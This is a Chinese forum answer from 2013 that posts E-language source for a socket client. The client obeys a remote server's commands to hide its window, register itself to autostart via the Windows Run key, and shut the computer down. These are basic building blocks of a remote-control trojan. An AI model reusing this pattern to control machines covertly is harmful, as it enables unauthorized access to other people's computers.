第1个回答 2013-12-11
懒得看楼主的内容了,我自己发个客户端的源码给你.....版本 2
.支持库 shell.程序集 窗口程序集1
.程序集变量 接收, 字节集
.程序集变量 发送, 文本型
.程序集变量 目标IP地址, 文本型.子程序 _客户1_数据到达执行远程命令 ().子程序 执行远程命令
.局部变量 命令, 文本型接收 = 客户1.取回数据 ()
命令 = 到文本 (接收)
.判断开始 (命令 = “服务器:显示”) ' 显示窗口
_启动窗口.可视 = 真
.判断 (命令 = “服务器:隐藏”) ' 窗口隐藏
_启动窗口.可视 = 假
.判断 (命令 = “服务器:结束”) ' 关闭进程
结束 ()
.判断 (命令 = “服务器:开机启动”) ' 开机启动
写注册项 (#本地机器, “Software\Microsoft\Windows\CurrentVersion\Run\Client”, 取运行目录 () + “\” + “Client.exe”)
.判断 (命令 = “服务器:关机”) ' 关机
关闭系统 (#关机, 真)
.默认.判断结束
编辑框2.加入文本 (到文本 (接收)).子程序 __启动窗口_创建完毕, , , 连接服务器目标IP地址 = “192.168.1.100”
连接服务器 ().子程序 连接服务器
.局部变量 bool, 逻辑型bool = 客户1.连接 (目标IP地址, 8000)
.判断循环首 (取反 (bool))
标题 = “客户端 ” + “与服务器连接失败!”
延时 (1000)
bool = 客户1.连接 (目标IP地址, 8000)
.判断循环尾 ()
标题 = “客户端 ” + “与服务器连接成功!”
.子程序 __启动窗口_将被销毁客户1.断开连接 ()
还有不懂的,加qun聊哈、5703 4949本回答被网友采纳